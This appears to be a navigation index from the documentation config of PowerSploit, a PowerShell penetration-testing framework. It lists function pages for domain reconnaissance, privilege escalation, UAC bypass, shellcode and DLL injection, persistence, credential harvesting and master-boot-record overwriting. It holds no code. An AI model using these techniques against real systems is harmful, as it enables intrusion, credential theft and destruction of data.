- Get-DomainManagedSecurityGroup: 'Recon/Get-DomainManagedSecurityGroup.md' + - Get-DomainGroupMember: 'Recon/Get-DomainGroupMember.md' + - Add-DomainGroupMember: 'Recon/Add-DomainGroupMember.md' + - Get-DomainFileServer: 'Recon/Get-DomainFileServer.md' + - Get-DomainDFSShare: 'Recon/Get-DomainDFSShare.md' + - Get-DomainGPO: 'Recon/Get-DomainGPO.md' + - Get-DomainGPOLocalGroup: 'Recon/Get-DomainGPOLocalGroup.md' + - Get-DomainGPOUserLocalGroupMapping: 'Recon/Get-DomainGPOUserLocalGroupMapping.md' + - Get-DomainGPOComputerLocalGroupMapping: 'Recon/Get-DomainGPOComputerLocalGroupMapping.md' + - Get-DomainPolicy: 'Recon/Get-DomainPolicy.md' + - Get-NetLocalGroup: 'Recon/Get-NetLocalGroup.md' + - Get-NetLocalGroupMember: 'Recon/Get-NetLocalGroupMember.md' + - Get-NetShare: 'Recon/Get-NetShare.md' + - Get-NetLoggedon: 'Recon/Get-NetLoggedon.md' + - Get-NetSession: 'Recon/Get-NetSession.md' + - Get-RegLoggedOn: 'Recon/Get-RegLoggedOn.md' + - Get-NetRDPSession: 'Recon/Get-NetRDPSession.md' + - Test-AdminAccess: 'Recon/Test-AdminAccess.md' + - Get-NetComputerSiteName: 'Recon/Get-NetComputerSiteName.md' + - Get-WMIRegProxy: 'Recon/Get-WMIRegProxy.md' + - Get-WMIRegLastLoggedOn: 'Recon/Get-WMIRegLastLoggedOn.md' + - Get-WMIRegCachedRDPConnection: 'Recon/Get-WMIRegCachedRDPConnection.md' + - Get-WMIRegMountedDrive: 'Recon/Get-WMIRegMountedDrive.md' + - Get-WMIProcess: 'Recon/Get-WMIProcess.md' + - Find-InterestingFile: 'Recon/Find-InterestingFile.md' + - Find-DomainUserLocation: 'Recon/Find-DomainUserLocation.md' + - Find-DomainProcess: 'Recon/Find-DomainProcess.md' + - Find-DomainUserEvent: 'Recon/Find-DomainUserEvent.md' + - Find-DomainShare: 'Recon/Find-DomainShare.md' + - Find-InterestingDomainShareFile: 'Recon/Find-InterestingDomainShareFile.md' + - Find-LocalAdminAccess: 'Recon/Find-LocalAdminAccess.md' + - Find-DomainLocalGroupMember: 'Recon/Find-DomainLocalGroupMember.md' + - Get-DomainTrust: 'Recon/Get-DomainTrust.md' + - Get-ForestTrust: 'Recon/Get-ForestTrust.md' + - Get-DomainForeignUser: 'Recon/Get-DomainForeignUser.md' + - Get-DomainForeignGroupMember: 'Recon/Get-DomainForeignGroupMember.md' + - Get-DomainTrustMapping: 'Recon/Get-DomainTrustMapping.md' + - Get-ComputerDetail: 'Recon/Get-ComputerDetail.md' + - Get-HttpStatus: 'Recon/Get-HttpStatus.md' + - Invoke-Portscan: 'Recon/Invoke-Portscan.md' + - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' +- Privesc: + - About: 'Privesc/index.md' + - Functions: + - Get-ModifiablePath: 'Privesc/Get-ModifiablePath.md' + - Get-ProcessTokenGroup: 'Privesc/Get-ProcessTokenGroup.md' + - Get-ProcessTokenPrivilege: 'Privesc/Get-ProcessTokenPrivilege.md' + - Enable-Privilege: 'Privesc/Enable-Privilege.md' + - Add-ServiceDacl: 'Privesc/Add-ServiceDacl.md' + - Set-ServiceBinaryPath: 'Privesc/Set-ServiceBinaryPath.md' + - Test-ServiceDaclPermission: 'Privesc/Test-ServiceDaclPermission.md' + - Get-UnquotedService: 'Privesc/Get-UnquotedService.md' + - Get-ModifiableServiceFile: 'Privesc/Get-ModifiableServiceFile.md' + - Get-ModifiableService: 'Privesc/Get-ModifiableService.md' + - Get-ServiceDetail: 'Privesc/Get-ServiceDetail.md' + - Invoke-ServiceAbuse: 'Privesc/Invoke-ServiceAbuse.md' + - Write-ServiceBinary: 'Privesc/Write-ServiceBinary.md' + - Install-ServiceBinary: 'Privesc/Install-ServiceBinary.md' + - Restore-ServiceBinary: 'Privesc/Restore-ServiceBinary.md' + - Find-ProcessDLLHijack: 'Privesc/Find-ProcessDLLHijack.md' + - Find-PathDLLHijack: 'Privesc/Find-PathDLLHijack.md' + - Write-HijackDll: 'Privesc/Write-HijackDll.md' + - Get-RegistryAlwaysInstallElevated: 'Privesc/Get-RegistryAlwaysInstallElevated.md' + - Get-RegistryAutoLogon: 'Privesc/Get-RegistryAutoLogon.md' + - Get-ModifiableRegistryAutoRun: 'Privesc/Get-ModifiableRegistryAutoRun.md' + - Get-ModifiableScheduledTaskFile: 'Privesc/Get-ModifiableScheduledTaskFile.md' + - Get-UnattendedInstallFile: 'Privesc/Get-UnattendedInstallFile.md' + - Get-WebConfig: 'Privesc/Get-WebConfig.md' + - Get-ApplicationHost: 'Privesc/Get-ApplicationHost.md' + - Get-SiteListPassword: 'Privesc/Get-SiteListPassword.md' + - Get-CachedGPPPassword: 'Privesc/Get-CachedGPPPassword.md' + - Write-UserAddMSI: 'Privesc/Write-UserAddMSI.md' + - Invoke-WScriptUACBypass: 'Privesc/Invoke-WScriptUACBypass.md' + - Invoke-PrivescAudit: 'Privesc/Invoke-PrivescAudit.md' + - Get-System: 'Privesc/Get-System.md' +- AntiVirus: + - Functions: + - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' +- CodeExecution: + - Functions: + - Invoke-DllInjection: 'CodeExecution/Invoke-DllInjection.md' + - Invoke-ReflectivePEInjection: 'CodeExecution/Invoke-ReflectivePEInjection.md' + - Invoke-Shellcode: 'CodeExecution/Invoke-Shellcode.md' + - Invoke-WmiCommand: 'CodeExecution/Invoke-WmiCommand.md' +- Mayhem: + - Functions: + - Set-MasterBootRecord: 'Mayhem/Set-MasterBootRecord.md' + - Set-CriticalProcess: 'Mayhem/Set-CriticalProcess.md' +- Persistence: + - Functions: + - New-ElevatedPersistenceOption: 'Persistence/New-ElevatedPersistenceOption.md' + - New-UserPersistenceOption: 'Persistence/New-UserPersistenceOption.md' + - Add-Persistence: 'Persistence/Add-Persistence.md' + - Install-SSP: 'Persistence/Install-SSP.md' + - Get-SecurityPackage: 'Persistence/Get-SecurityPackage.md' +- ScriptModification: + - Functions: + - Out-CompressedDll: 'ScriptModification/Out-CompressedDll.md' + - Out-EncodedCommand: 'ScriptModification/Out-EncodedCommand.md' + - Out-EncryptedScript: 'ScriptModification/Out-EncryptedScript.md' + - Remove-Comment: 'ScriptModification/Remove-Comment.md'